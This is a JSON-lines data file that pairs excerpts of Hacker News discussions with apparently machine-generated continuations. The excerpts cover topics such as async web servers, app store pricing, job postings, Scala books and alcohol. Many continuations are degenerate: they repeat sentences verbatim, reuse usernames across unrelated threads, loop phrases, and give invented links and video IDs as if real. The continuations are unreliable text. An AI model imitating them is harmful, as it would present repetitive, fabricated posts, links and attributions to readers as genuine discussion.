introduce async operations in your code - you need to follow the\nexecution path through. http request can be async - but then what if the http\nrequest results you doing a db lookup or some form of file handling? you need\nto make the whole thing event driven.\n\n~~~\nempthought\nIt's not like we didn't have cooperative multitasking for 50 years. Having\nthreads/processes and a scheduler is easier and safer, full stop. Potentially\nlong-running portions of the program don't need to be arbitrarily chopped up\nto yield control back to the server, because they are pre-empted. Your system\nis no longer at the mercy of the worst code within it.\n\nBoth nginx and Apache's event MPM handle HTTP connections with events while\nthe app backends are still using preemptive threads for running the HTTP\nhandler code, so it's clearly not the case that \"you need to make the whole\nthing event driven.\" You just need programmers who don't think, \"well since\nthe browser doesn't expose threads to JavaScript programmers, clearly they are\nuseless.\"\n\n------\nnarrator\nI'm using NodeJS on a"} +{"output_text": " in.\n\n~~~\ncpatrick\nI don't think he played by the rules. He was told what his position was, and\nhe didn't believe it.\n\n~~~\nveyron\nHe was told what his position was, and he didn't believe it.\n\nHe was told that he was going to make a lot of money, and he didn't believe it.\n\nHe was told that he was going to make a lot of money, and he didn't", "input_text": "..\nGoogle right now as a P/E=18, Microsoft less than 11..\n\n------\ntazzy531\n\"Anonymous Hedge Fund Manager\" -- could be a kid in a dorm room or PM at\nSAC... HF Manager is an inflated title...\n\n------\nJach\nYet another screw-up involving \"real\" money/assets and a \"real, tested\"\nfinancial system to add to my collection of \"See, it's not just Bitcoin's\nyouth or digital embodiment\" rebuttals... I'm looking forward to seeing how\nall this plays out. I still think the stock price will go up past $38 over the\nnext 6 months, but we'll see.\n\n------\nthisismyname\nWhy did't he buy class A shares before the IPO. Idiot.\n\n------\ncpatrick\nB\n\n------\ndos1\nI have a hard time drumming up sympathy for these guys. They're mad because\nthey couldn't make a quick buck. Isn't a hedge fund just gambling? It's high\ntime Wall St. learns that it's never a good idea to put more in the pot than\nyou can lose.\n\nThe part that is most striking to me is that share price and a company's\nintrinsic value are seemingly in different galaxies. This guy is talking about\ndecisions based on _hype_. I'm floored. Do these guys really trade based on\npublic opinion?\n\n~~~\nveyron\nHe is complaining because he was sandbagged. He didnt know what his position\nwas, and NASDAQ and MS both dropped the ball here.\n\nYou can vilify hedge funds till kingdom come, but it sounds here that this guy\nplayed by the rules and lost due to a circumstance that he didn't believe"} +{"output_text": " pricing at $5 and making (x) sales.\n\n~~~\njasonlbaptiste\nI think you're right. I think the problem is that people are expecting to see\n$10 apps. I think the problem is that people are expecting to see $10 apps.\n\nI think the problem is that people are expecting to see $10 apps.\n\n~~~\njeremymcanally\nI think you're right. I think the problem is that people are expecting", "input_text": " article doesn't say is that Lowes are typically located near Home\nDepot. Definitely close enough to get a snapshot of competitors parking lot\ntoo.\n\n \n\nIOS app store has created unrealistic pricing expectations - kgutteridge\nhttp://appcubby.com/blog/5-is-the-new-10/\n\n======\njeremymcanally\nI think I prefer an open market with prices that have naturally fallen to this\npoint than something with artificially inflated prices. There are two things\nat play here.\n\nOne, the competition in the app store right now is so voluminous and so fierce\nthat it's driving prices down. It's a natural phenomenon that will happen in\nnearly any \"free\" market. To complain about it is to complain about the\nessence of free market pricing.\n\nSecond, these lower prices allow for higher volume of sales. The prices have\nsettled here because this is what users see as the value of these apps. No\noffense to these guys/gals, but I wouldn't pay $10 for something to track my\ngas mileage. I'd find a free web app (if they exist) or just keep it in a\nnote. I get the value-add of IRS compliant reporting and such, but that's a\nniche problem to solve. Charging $10 for that is fine, but don't expect mass\nmarket appeal or uptake.\n\nI think the biggest problem is that people who write niche apps like these\napps expect to see numbers like \"Fart-O-Matic 9000\" or \"Angry Birds.\" You\nwon't. Accept that and then figure out what's going to make you the most\nmoney. The trick is figuring out if pricing at $10 and making (x) sales is\nmore profitable than"} +{"output_text": " to remove all the crapware from my\nWindows 10.\n\n[https://www.win10removaltool.com/](https://www.win10removaltool.com/)\n\n------\njason_slack\nI have a Windows 10 Pro laptop and I have never seen this. I have never seen\nany of the apps that are listed.\n\n------\njason_slack\nI have a Windows 10 Pro laptop and I have never seen this.", "input_text": " reinstalled them for me. MS\ndid said it was a bug but it happened a few times after that for me.\n\n~~~\nThoAppelsin\nI think I also may have had some ads back with a major update (e.g. Creators,\nFall Creators), but I don't remember having them back ever with the normal\nupdates.\n\nIn any case, it really is just a breeze to remove UWP apps, and they leave no\ntrace either, so I cannot rationalize how it can be this so annoying to\nanyone.\n\n~~~\nsuby\nThe ad issue is separate to me. They keep adding ads to more and more places\nin Windows 10, and each location has a different toggle to turn on / off.\n\nI turned off all advertising options in Windows 10 when I first installed,\nonly to be greeted by another ad months later which they had added with a\nnewly downloaded update.\n\nThe toggles aren't even centralized, you have to hunt them down in different\nmenus. I have a hard time believing this wasn't done on purpose.\n\n------\nhello_asdf\nIs there a list of domains that Microsoft is using to download these apps\nfrom? I can't find one by Googling.\n\n------\nrbobby\nIt's going to be odd if Win10 gets labeled as PUP (potentially unwanted\nprogram) by antivirus software.\n\n~~~\ngruez\nwhich is going to happen... never. unless that said antivirus wants to commit\nmarket suicide by pissing off every user.\n\n~~~\nmtgx\nTrue. But it could make for a pretty funny April Fools' joke (-in disguise).\n\n------\ngarganzol\nNever happened to me. I use a free tool"} +{"output_text": " - jonathanturley\nhttp://www.jonathanturley.com/2014/04/review-my-app-for-you-nyc-hackers/\n======\nnancyhua\nI'm a NYC hacker and I'm looking for a few good people to review my app.\n\nIt's called \"For You NYC Hackers\" and it's a social network for NYC hackers.\n\nI'm looking for people who are interested in", "input_text": " rtc implementations with Java?\n\n \n\nHotfixes: Fix iOS bugs live - nancyhua\nhttp://apptimize.com/blog/2014/04/hide-bugs-without-app-store/\n\n======\nalook\nDoes this only apply to UI changes? Or can i fix, say, a logic bug as well?\n\nAlso, what kind of performance concerns might I see?\n\n~~~\nmikestew\nYou don't \"fix\" anything, unless by \"fix\" you mean \"turn off broken feature\".\nIt's a nice idea, too bad they tout it with such deceptive marketing.\n\n~~~\nnancyhua\nHm, I hadn't thought it would be misleading and asked for feedback on the\nheading. I guess the people I asked for feedback already know how it works...\nThanks for telling me this because we consider ourselves super straight-\nshooting and want to be clear. We'll improve.\n\n------\nlolwutf\nThat's really a misleading - almost bullshit-level - description.\n\nMore accurately, you can'remotely disable features so, if you shipped\nsomething broken, you can turn it off'.\n\nYou're being almost misleading using phrasing like you can 'fix iOS bugs\nlive'. You can disable parts of your implementation. That's quite a bit\ndifferent.\n\nStop trying to mislead the biz side of the house that doesn't know any better.\n\n~~~\nnancyhua\nOur users call it a hotfix so that's what we're calling it. Often the fix is\nsomething they do on the server side while they disable the frontend. Does\nthat make sense? It's not meant to be misleading but succinct headlines are\nhard to write.\n\n \nReview my app: For you NYC Hackers"} +{"output_text": ", TDD, continuous\nintegration, continuous deployment, test-driven development, continuous\nintegration, continuous deployment, test-driven development, continuous\nintegration, continuous deployment, test-driven development, continuous\nintegration, continuous deployment, test-driven development, continuous\nintegration, continuous deployment, test-driven development, continuous\nintegration, continuous deployment, test-driven development, continuous\nintegration, continuous deployment, test-driven development, continuous\nintegration, continuous deployment, test-driven development,", "input_text": " and a new app that\nwill communicate over BLE.\n\nAs a small team of software developers, we choose sharp tools and aim to keep\nour stack small. We enjoy a services layer written in Scala. Our main client\nis a Rails application that powers our community invention platform. Most UI\nwork is done in React. Our IoT cloud is Java and a bit of Go. The\nresponsibilities of this software team are 80% web/mobile product work, with\nthe remaining 20% to support our ecommerce site, brand site, sales/marketing\nefforts, and enterprise system integration. The positions we currently have\nopen are:\n\nSenior Full Stack Engineer (Ruby)\n\nFull Stack Engineer (Ruby)\n\nFrontend Engineer (Javascript / React)\n\nMobile Engineer (Android)\n\nOur interview process consists of a one-hour phone screen followed by a more\nextensive coding project with a 5-day deadline, and an in-person meeting of a\nhalf to a full day with the whole team.\n\nIf any of this sounds interesting to you, don't hesitate to get in touch at\n[paul.degnan@littlebits.cc]. There's a tremendous amount to do; ideally you\nhave experience. Most of all though, we hope you're warm, understanding,\nfunny, and committed to the cause.\n\n------\nstegro32\n(spabreaks|yourgolftravel).com | London, UK | Full-time\n\nTeam of ~20 people (developers, designers, infrastructure) in a well-\nestablished travel company (~200 people, ~100m GBP turnover), working on\ncustomer-facing and internal (mostly-)web-based applications.\n\nThings we do/use (in no particular order): pair programming"} +{"output_text": " have a way to add a little bit of extra information to\nthe text without having to add a new paragraph.\n\n~~~\nStavrosK\nI'm not sure I understand what you mean. I'm not sure I understand what you\nmean.\n\n~~~\namk_\nI'm not sure I understand what you mean.\n\nI'm not sure I understand what you mean.\n\nI'm not sure I understand what you mean.\n\nI'm not", "input_text": " trying to find a way to show people the ads that they really want to see.\n\n------\nimjonathanlee\nlearning another foreign language, going out of country for summer (i work too\nhard, I really need a break) and meeting new friends.\n\n \nShow HN: Expounder \u2013 A small JavaScript library for more engaging tutorials - StavrosK\nhttps://skorokithakis.github.io/expounder/\n======\nbart3r\nMy advice would be to somehow indicate exactly the text that was expounded -\nmaybe with a faint underline or something. When it expands out, it's sometimes\ndifficult to track the exact words that suddenly appear.\n\n~~~\nStavrosK\nAh, good idea. Right now you get a fade, but that's easy to miss. Of course,\nthe intent is that the expounded text becomes a part of the overall paragraph,\nso you shouldn't _need_ to know what was just expounded, you just read on, so\nthere's definitely a balance there.\n\nAlso, the text is very very easy for the website owner to style, with just a\nsingle CSS rule.\n\nEDIT: I've added some styling information to the page, thanks.\n\n~~~\nNicoJuicy\nThis is the first time i heard about\n[https://gitcdn.xyz/](https://gitcdn.xyz/) while checking your page source.\n\nThat's actually a smart idea for a CDN :)\n\n~~~\nStavrosK\nYep! We were using rawgit initially, but it went down on the first day for\nhours, so we changed to that instead.\n\n------\namk_\nInteresting. I personally like to use sidenotes for this type of thing on my\nwebsite; it's nice to"} +{"output_text": "b8q8qh1](http://grnh.se/b8q8qh1)\n\nData Engineer (Oslo): [http://grnh.se/b8q8qh1](http://grnh.se/b8q8qh1)\n\nData Scientist (Oslo): [http://grnh.se/b8q8qh1](http://grnh.se/b8q8qh", "input_text": " they\u2019re using, and\n\n-a single identity that students can use to see everything they\u2019ve learned across multiple apps.\n\nWe\u2019re a team of just over 100 (40 engineers) based in downtown SF, and we\u2019re\nlooking for engineers who enjoy working in (or would enjoy learning) Golang,\nNode and React. More generally, we want people who are sharp, adaptable, and\npassionate about improving the way education works for everyone.\n\nCheck us out at\n[https://clever.com/about/jobs](https://clever.com/about/jobs), or check out\none of our product releases here:\n[https://clever.com/products/badges](https://clever.com/products/badges)\n\n------\ntapad\nTapad | Unify Life Across Devices | Onsite: New York, NY or Onsite: Oslo,\nNorway | $100K - $160K/YR + Bonus\n\nUnify Life Across Devices\n\nTapad is the leader in cross-device content delivery. Our groundbreaking,\nproprietary technology assimilates billions of data points to find the human\nrelationship between smartphones, desktops, laptops, tablets, connected TVs\nand game consoles. The result: an unprecedented understanding of consumer\nbehavior across related screens and the ability to reach the right people on\nthe right device at the right time. With Tapad, publishers and advertisers can\ndeepen consumer engagement with a more fluid experience while increasing\ncampaign cost-effectiveness.\n\nData Engineer (NYC): [http://grnh.se/ajq78c1](http://grnh.se/ajq78c1)\n\nData Scientist (NYC): [http://grnh.se/"} +{"output_text": ".)\n\n~~~\nmattmanser\nI'm not sure I agree with your last point.\n\nI think it's a bit of a straw man to say that he disagrees with most generic\nengines out there.\n\nHe's not saying that he doesn't like engines, he's saying that he doesn't\nlike the way they're used.\n\nHe's not saying that he doesn't like engines, he's saying that he doesn't like\nthe way", "input_text": " Engine.\n\nIt doesn't look like a Unity game, it doesn't play like a Unity game, and it\nhas won several game of the year awards.\n\n~~~\nloup-vaillant\nCome to think of it, there's _Antichamber_, a non Euclidean labyrinth based\non Unreal Engine (4, I believe).\n\nAs for how Jon Blow did it, I suspect having his own engine let him explore\ngameplay ideas more readily than using a generic one. The time travelling in\nBraid and all its variations would be pretty hard to bolt on a generic engine:\nit's not just rewind, it's _partial_ rewind, with some entities being immune\nto the rewind. There's even a level where time goes forward and backward\ndepending on the _position_ of the main character. Go right, forward. Go left,\nbackwards.\n\nFor The Witness, it's a bit more subtle, but about a third of the game\nrequired pretty crazy 2D projective analysis of the 3D world (the\n\"environmental puzzles\", don't look them up if you don't want spoilers). While\nit didn't en up being central to the game, it was basically the starting\npoint.\n\nThe engines of Jonathan Blow's games are more central to their gameplay than\nfor most games. Still bloody impressive, but probably less unnecessary than\none might originally think. Also, Jonathan Blow has pretty strong opinions\nabout game development, and I got the feeling that he disagrees with most\ngeneric engines out there. Working with them would probably caused suffering,\nwhose cost he didn't want to pay. (Speaking for myself, my productivity drops\npretty sharply when I spot stuff I too strongly disagree with, _and I can 't\nfix it_"} +{"output_text": ".\n\n~~~\nmrob\nI think the problem is that the prescription is a very complicated function of\nthe eye's shape, the lens power, and the refractive index of the lens material.\nIt's not a simple matter of \"make the prescription this way and it will be\nbetter\".\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nThe author is saying that the cost of glasses is too high, but the cost", "input_text": "\n\nmeanwhile i think i spent ~\u20ac1000 on frames and lenses the last 15 year whilst\nwearing silhouette. so, at least for me, it's not as bad as the article makes\nit out to be\n\n------\nmonksy\nThis is one of those things that you can buy online and for a lot cheaper. It\nalways amazes me about how much we are charged for things in the west and that\nwhen you go to Asia it's soo much cheaper. (Clothing is another example.. when\nyou're looking at a starting price of 150baht for shorts.. [$3.2 before\nnegotiating] )\n\n------\nRosanaAnaDana\nHow reasonable would it be to the prescription process; for example, a kiosk\nin the mall where I sit in a booth and click (better/worse) while looking into\nsome-kind of a vision testing device.\n\nThe whole thing is so procedural and really, not very difficult to administer.\nIt seems like extremely low hanging fruit for automation.\n\n~~~\nmrob\nOptimizing for just \"better or worse\" will result in excessively strong\ncorrection. If you're only looking at a single letter in the very center of\nyour field of vision, then overcorrection feels sharper and easier to focus\non. You don't notice the additional optical artifacts everywhere else. The\nideal glasses have just barely enough correction.\n\nHowever, this isn't an argument against automation, because human optometrists\nfrequently get it wrong too. I agree that it should be automated.\n\n~~~\nRosanaAnaDana\nI've just always found myself frustrated by the sense that beyond looking into\nmy eyes for signs of disease, the actual act of making a prescription could be\ndone by anyone"} +{"output_text": " is reinventing the car insurance industry. We\noffer a new type of car insurance that is simple, transparent, and\naffordable. We are a small team of engineers and designers who are passionate\nabout making the car insurance industry better.\n\nAbout the position:\n\nWe are looking for a senior frontend engineer to join our team. You will be\nresponsible for building the frontend of our web application. You will be\nworking with a small team of engineers and designers", "input_text": " day of onsite interviews. Software Engineer\nopenings:\n\n-Infinity (SF): [http://grnh.se/rjxb2e](http://grnh.se/rjxb2e)\n\n-Marathon (SF & Hamburg: [http://grnh.se/pab62x](http://grnh.se/pab62x)\n\n-Networking (SF & Hamburg): [http://grnh.se/5psoa0](http://grnh.se/5psoa0)\n\n-Foundations (SF): [http://grnh.se/5bsnkd1](http://grnh.se/5bsnkd1)\n\n-Frontend (SF & Hamburg): [http://grnh.se/f3wyvu](http://grnh.se/f3wyvu)\n\n-Mesos (SF & Hamburg): [http://grnh.se/2daykb](http://grnh.se/2daykb)\n\n-Intern (SF & Hamburg): [http://grnh.se/a4052y](http://grnh.se/a4052y)\n\nWe are hiring for full time roles in our SF, CA and Hamburg, Germany offices,\nand will sponsor visas wherever possible.\n\nIf it makes sense for you and works for our team, we are open to remote, home\noffice working arrangements, in both the US and EMEA.\n\n------\nshabonkerz\nMetromile | Senior Frontend Engineer | SF | ONSITE\n[https://www.metromile.com](https://www.metromile.com)\n\nAbout Metromile:\n\nMetromile is a start-up that"} +{"output_text": "kaggle.com/kernels)).\n\nWe're looking for a full-stack engineer to help us build out our platform.\n\n------\njoshu\nPagerDuty | San Francisco, CA | Full-time | Onsite\n\nPagerDuty is a fast-growing, profitable, and well-funded startup that is\nchanging the way people work. We are looking for a senior software engineer\nto join our team.\n\nYou will be working", "input_text": "\n\n* Data engineers\n\nYou can apply directly via the website \u2013\n[https://www.freeagent.com/company/careers](https://www.freeagent.com/company/careers)\n\u2013 or feel free to get in touch with me (VP Engineering) directly: maria [at]\nfreeagent [dot] com.\n\n(We are looking for UK-based full-time staff only right now)\n\n~~~\n013\nAre all jobs listed here\n([https://www.freeagent.com/company/careers/](https://www.freeagent.com/company/careers/))\nremote? For example\n[https://freeagent.workable.com/jobs/411049](https://freeagent.workable.com/jobs/411049)\n\n------\nantgoldbloom\nKaggle | San Francisco | Full Time | ONSITE or REMOTE | Software Engineering\n\nTechnologies: C#; ASP.NET MVC; React; TypeScript; Docker; Azure.\n\nYou can read the job req and apply here:\n[http://kaggle.applytojob.com/apply/GjSjOi/FullStack-\nEngineer...](http://kaggle.applytojob.com/apply/GjSjOi/FullStack-\nEngineer?source=hn)\n\nKaggle is best known as a platform for machine learning competitions. We have\na community of over 800K data scientists. We're on track to grow past 1MM in\nthe coming months. Now also building a sharing-and-collaboration platform\n(closest analogy is Github for data science:\n[https://www.kaggle.com/kernels](https://www."} +{"output_text": "\nalcohol.\n\n~~~\nLa-ang\nI agree with you. I think the problem is that people are not aware of the\nnegative consequences of alcohol.\n\nI think the problem is that people are not aware of the negative consequences\nof alcohol.\n\n------\njoshu\nI think the problem is that people are not aware of the negative consequences\nof alcohol.\n\n------\njoshu\nI think the problem is that people are not aware of", "input_text": ", because there simply isn't. Once the elephant in the room starts\nballooning you need to set your ego aside and admit you need change; major\nchange.\n\n~~~\nativzzz\nI second this one. It is difficult to just change a habit on a whim. A high\nintensity sport (like a martial art) requires changing lifestyle habits if you\nreally want to see serious progress.\n\n~~~\nLa-ang\nYou missed my last point. It's not meant to be easy.\n\n------\nilaksh\nI think I have a different view on this than most people here.\n\nIt seems that there is a tendency to simply suggest that anyone who does\ndrinks to excess sometimes is an alcoholic and therefore is a special case who\ncannot drink.\n\nWhat I observe is that most (not only a special few) people who drink have\ntimes where they over-do it and it usually has significant negative\nconsequences in those cases.\n\nIn my opinion people want to blame the individual because they love alcohol\nand don't want to admit that it could be a problem in itself.\n\nI think there is a basic thing working against everyone who intends to\nmoderate their alcohol consumption which is that alcohol reduces your ability\nto make good decisions. So on a bad day or circumstance with a reduced\ncognitive capacity, anyone can make a wrong decision about whether to have\nanother drink.\n\nSo personally I think the answer is just to find other activities that are fun\nthat don't require alcohol. Also this idea that anyone who runs into problems\nis an alcoholic is false and effectively stigmatizes people who decide to quit\nbecause it has the suggestion that they are an alcoholic and something is\nwrong with them.\n\nIf you sometimes run into problems with alcohol it's not you. It's the"} +{"output_text": " are not reproducible.\n\n~~~\nskybrian\nThat's a shame. I'm not sure what to do about it.\n\n------\njimhefferon\nI think the problem is that the code is not available.\n\n~~~\nclintonb\nI think the problem is that the code is not available.\n\n------\njimhefferon\nI think the problem is that the code is not available.\n\n------\njimhefferon", "input_text": " lucrative research time.\n\n~~~\ndrjesusphd\nPrecious? Yes. Lucrative? Hardly.\n\n------\ntango12\nMaybe it can be thought of as a tooling problem? Say, a plugin that allows a\none-click publish code + data from Matlab, and then it all goes up on a well-\nindexed page so that others can download/run it.\n\n~~~\nsimonster\nI doubt the problem is that academic CS researchers don't know how to publish\ntheir code, but rather that the disincentives are usually stronger than the\nincentives.\n\n~~~\ncbhl\nIs there even code to publish? I am under the impression a lot of papers from\nBugzilla data are of the form \"we imported the data into Excel and had a hand-\ncrafted one-off spreadsheet\".\n\n~~~\njcrites\nIn that case, yes: the spreadsheet itself consists of data and analysis over\ndata (aggregations over columns and rows, etc.) so the spreadsheet itself\nwould ideally be version controlled and published.\n\nThe idea isn't to ask researchers to formalize what they make more than\nbefore, but to include fully reproducible details in the publication. A\nspreadsheet is totally fine because you can see how it works, reproduce the\nresult, and tweak the inputs/methods to build on it.\n\n------\nskybrian\nIt seems like politely writing to the researchers and asking if they still\nhave the code lying around might have good results. (If nothing else, it lets\nthem know someone cares.)\n\n~~~\nclintonb\nA colleague was working on a replication study. We got the code from the\noriginal researcher and another researcher who did a follow-on study. The code\nbarely runs, and the results"} +{"output_text": "com/parasight](https://github.com/parasight)\n\n------\njames-skemp\nLocation: San Francisco, CA\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Python, Django, Flask, Javascript, HTML, CSS, SQL, Linux,\nPostgreSQL, MySQL, MongoDB, Redis, AWS, Docker, Ansible, Git, Linux,\nPostgreSQL, MySQL, Mongo", "input_text": " our server's Java\nbackend involving large volume data processing with Redis and PostgreSQL. If\nyou are interested in working with me, please feel free to contact me.\n\n------\nJJDeviloper\n\n Location: Just North of San Francisco, CA\n Remote: Open\n Willing to relocate: Open\n Technologies: Scala, Ruby on Rails, C++, Java, Python, JavaScript, JQuery, Node.js, Unity Engine, Unreal Engine, Android\n R\u00e9sum\u00e9/CV: http://bit.ly/JJ_Reibel_Portfolio\n Email: jj_reibel@aol.com\n\nI'm a Software Engineer, Full Stack Web Engineer, and Game Designer with\ndecades of independent experience using many technologies, with only my most\nused being listed. I have experience working with teams and I'm looking for a\nrole at either a large company or a start-up.\n\n------\nparasight\nLocation: Berlin\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: C++, C, Make, CMake, Golang, Erlang, JavaScript (Node.js),\nJava/Kotlin (Android), Android NDK, Objective-C/Swift (iOS), Linux, macOS,\nAWS, network protocols\n\nR\u00e9sum\u00e9/CV: On request\n\nEmail: hackphonic@gmail.com\n\nI'm looking for part-time contract/freelance/consulting opportunities.\n\nHow can I help?\n\n\\- Design and implement new features.\n\n\\- Find and fix difficult bugs.\n\n\\- Analyze and optimize performance issues.\n\n\\- Reduce the technical debt in your code.\n\nGitHub: [https://github."} +{"output_text": " on, I thought the article was about the productivity of the US economy.\n\n~~~\napi_or_ipa\nThe article is about the productivity of the US economy.\n\n------\njoe_the_user\nI think the article is a bit too simplistic.\n\nThe US economy is not a single entity. It's a collection of many different\nsectors.\n\nThe US economy is not a single entity. It's a collection of many different\n", "input_text": "'t contribute to a more productive labour force.\nIf investments in education do not increase labour productivity (as predicted\nby nearly every model of labour economics), then what measures do affect\nproductivity?\n\nThe \"education system\" is not an education system. It is a selection system\nused to choose who gets one of the at any one tine limited number of jobs.\nIncreasing the number of people in that selection system makes it less\neffective, hence the lowered value of a degree, the need for internships, and\nincreased stress on personal networks for finding jobs.\n\n~~~\napi_or_ipa\nYour argument is absurd. You're implying the job market for university\neducated workers is perfectly inelastic and each successive degree holder\nproduces _no_ extra value on the margin. Moreover, you make the baseless\nassumption that competition amongst more candidates for skilled work produces\nno further value-- in other words, every worker is just as skilled.\n\nThere are many more plausible reasons that don't have to invoke such strong\nassumptions on the education and skilled workforce markets.\n\nCultural, social and political differences, a lower population density et al.\n\n------\nsbov\nMaybe I'm off base, but why would we necessarily expect great productivity\ngains? The late 90's to early 2000's was a time when computers become\nubiquitous. Yes, there are smart phones and tablets now, but the difference\nbetween \"by hand\" and \"by computer\" is far larger than \"by PC\" and \"by\ntablet\".\n\n------\nsnowwrestler\nWell duh; most of what Silicon Valley builds are not productivity tools. If\nanything they build anti-productivity tools like social media and\nentertainment.\n\n------\narjie\nHang"} +{"output_text": " on the camera, I\ndon't think it's a good idea to have a camera that can do that.\n\nThe reason is that the camera is a tool for the photographer, not a tool for\nthe photographer's computer.\n\n~~~\nygra\nI don't think it's a good idea to have a camera that can do that either, but\nI'm not sure that's the point. I think it's more about the fact that the\ncamera is a tool", "input_text": " National Park, and wait for a clear night it's never going to look in\nyour eye like it does on Instagram. Don't get me wrong, what you do see is\nabsolutely magnificent, it's just not what's in those pictures.\n\nSeeing the galaxy with your own eyes is one of the most majestic things you'll\never witness. It's something that has inspired spontaneous prayer throughout\nhistory. It doesn't really need a filter.\n\n------\njakecopp\nIf all the advancements in smartphone photography is in software, why aren't\nDSLR/mirrorless manufactures doing it too?\n\nI don't want my camera to have a touchscreen/social media/wifi but it'd be\ncool if Adobe Camera Raw/some alternative could do this stuff!\n\n~~~\nygra\nIMHO they've basically missed an opportunity here for many years. They'd be in\na perfect position to offer those things, combined with a much better/larger\nsensor, which enables even better images. On smartphones it's a matter of\nnecessity, as the sensor is (fairly) crappy in comparison, but on a DSLR it\ncould still be a benefit. Personally I'd be perfectly happy to get a pre-\nprocessed DNG from the camera instead of having to do this afterwards. And\nthen give me the raw files to do it manually as well.\n\nPerhaps they're trying not to cannibalize their lower market segments or think\nthat professionals would never use those things (on which they _might_ be\ncorrect). But I can definitely see that computational photography beyond\nraw->JPEG conversion with a color profile could have its place in a DSLR.\n\n~~~\nSiempreViernes\nWhile it would be nice to load some post-processing script"} +{"output_text": " point\n([http://www.artima.com/weblogs/viewpost.jsp?thread=149900](http://www.artima.com/weblogs/viewpost.jsp?thread=149900))\n\n------\njamesjyu\nI've been using Scala for a few years now. I've found that the best way to\nlearn is to just dive in and start writing code. I've found that the best way\nto learn", "input_text": "com/scalatour](http://naildrivin5.com/scalatour) although\nit's 2.8 rather than the current 2.12.\n\nFor style guide, I'd go with Li Hiayo's blog, notably the Strategic Style\nseries:\n[http://www.lihaoyi.com/post/StrategicScalaStylePracticalType...](http://www.lihaoyi.com/post/StrategicScalaStylePracticalTypeSafety.html)\n\n------\nmosqutopi\nI read scala for the impatience, but once you know clojure, haskell, erlang\nand other languages the scala language seems to be one more language, a better\njava but nothing that really surprise you. I know that using scala you can\nmake your programs very difficult to read using obscure notations for\noperators. I like to use scala as a repl for exploring java classes, a little\nmore useful that clojure in this regard.\n\n------\ngh0zt\nAs you are asking for books \\- Scala for the impatient\n([http://www.horstmann.com/scala/](http://www.horstmann.com/scala/)) \\-\nProgramming in Scala\n([https://booksites.artima.com/programming_in_scala_3ed](https://booksites.artima.com/programming_in_scala_3ed))\n\nI found those books very good resources. The Scala website lists a few others\n([https://www.scala-lang.org/documentation/books.html](https://www.scala-\nlang.org/documentation/books.html))\n\nAprt from that I found Daniel Westheides blog a very good starting"} +{"output_text": "ired... to the Sin (LP -0.8)[2]\n\n[1]\n[https://www.youtube.com/watch?v=9_1_1_1_8g](https://www.youtube.com/watch?v=9_1_1_1_8g)\n\n[2]\n[https://www.youtube.com/watch?v=9_1_1_1_8g](https://www", "input_text": " their friends, effectively\nadvertising the service.\n\nCons: each playback means bandwidth + royalties cost.\n\nSo the question is, does the probability times the return from their friends\nbring more money than the free playbacks? I'd really like to know the answer.\n\n------\np1mrx\nIt's hard to trust a service like this without some information on where they\npull the numbers from. How did they determine which normalization algorithm\neach service uses?\n\nThe \"give us your email address for more information\" part also seems slimy.\n\n~~~\nikerr\nTIDAL has openly said that they are using -14 LUFS for normalization while\nSpotify has said they are using ReplayGain. The other platforms required more\ninvestigation, and we're continuing to refine the estimates, but we feel that\nwe've gotten pretty close.\n\n------\nrcthompson\nI'm confused about why this website is using the word \"penalty\" to describe\nthe process of normalizing songs to have the same loudness.\n\n~~~\njtbayly\nFrom the email they sent when I put in a sample song and asked for the more\ndetailed analysis:\n\n\"Since streaming services are going to turn loud music down anyway, more and\nmore people are deciding they would prefer to take control of this process\nthemselves, and optimize their music for the best possible results.\"\n\nand\n\n\"We recommend avoiding very large negative LP values, especially on YouTube\nbecause songs like this often sound \u201csmaller\u201d than those with LP scores closer\nto zero.\n\nHear it for yourself For example, compare the loud sections of these two\nMetallica songs on YouTube - The Day That Never Comes (LP -5.8)[1] and\nHardw"} +{"output_text": " of the niceties of python, such as the standard\nlibrary, and the standard library is where most of the niceties of python\ncome from.\n\n~~~\nbuckwild\nI'm not sure I agree with that. I think that the standard library is a\nnecessary evil. I think that the standard library is a necessary evil.\n\nI think that the standard library is a necessary evil. I think that the\nstandard library is a necessary evil.\n\nI think that", "input_text": "http://hackerne.ws/item?id=4062216> \" Eulerian Video Magnification for\nRevealing Subtle Changes in the World (mit.edu) 555 points by clockwork_189 57\ndays ago | comments \"\n\n------\nEzGraphs\nInteresting read. I think that the combination of Ruby (for data aggregation\nand preparation) and R (for calculation and visualization) is great. For\ninstance, in the related-but-not-exactly category:\n\n[http://www.r-chart.com/2010/10/max-heart-rate-\ncalculations-c...](http://www.r-chart.com/2010/10/max-heart-rate-calculations-\ncompared.html)\n\nIt seems like folks who use R tend to be from a scientific community where\nPython has greater respectability and acceptance. But I see some similar\n\"Lispiness\" in R and Ruby that make them somewhat natural to use in\nconjunction.\n\n~~~\nbuckwild\nI second this. I'm a scientist who also happens to program (as more of us are\nfinding we need to do). The two languages I use the most are R and Python.\nMost of the time, I don't even give Ruby a second thought because it seems to\nbe primarily geared towards web development. In general, I shy away from web\ndevelopment, but I know that Python is more than capable if I wanted to try it\nout. There really doesn't seem to be any incentive for us to learn Ruby.\n\n~~~\nJonnieCache\nThere is nothing in ruby that is geared towards web development, not any\nmoreso than python anyway. It just happens to be mostly used for that.\n\nRuby does however lack a lot"} +{"output_text": " decision.\n\n~~~\njoshu\nI'm not sure I agree. Promises are a great abstraction, but they are not\nnecessarily a good fit for all problems.\n\n~~~\nChris911\nI agree that they are not a good fit for all problems. But they are a great\nfit for the problems that they solve.\n\n------\njoshu\nI think the author is conflating the \"callback hell\" of node with the\n\"callback hell\"", "input_text": " any Compiled language,\nand shouldn't be compared to them because that's unhelpful as a measure.\n\nit is the only language for the web which enables you to work in the same\nlanguage on both fronts.\n\nframeworks aren't JavaScript.\n\nnodejs isn't JavaScript.\n\nJavaScript is so flexible that it can be changed to suit the needs of those\nwriting it, so much so that you get whole new dsl's like typescript.\n\nthere are more conversations on the internet about JavaScript than any other\nlanguage being used today.\n\noh and nothing scales if you don't know how to write scalable software, that's\non you, not the language.\n\n------\nbschwindHN\nInteresting analysis. I just finished a year of using Node for implementing an\nHTTP API and a chat server, and found it to be actually pretty pleasant. I'm\nnot chasing the latest and greatest things, there's no ES6, no ORM, and I'm on\nan older version of Node. But it works and has actually been quite stable! The\nthings I've missed are static type checking at compile time, and execution\nspeed (which is less of an issue when you're talking with databases all the\ntime). I'd be happy to write in more detail if anyone has any questions, but I\nfound I had the opposite experience of this author. The situation makes all\nthe difference though.\n\n------\nChris911\nMost of the problems 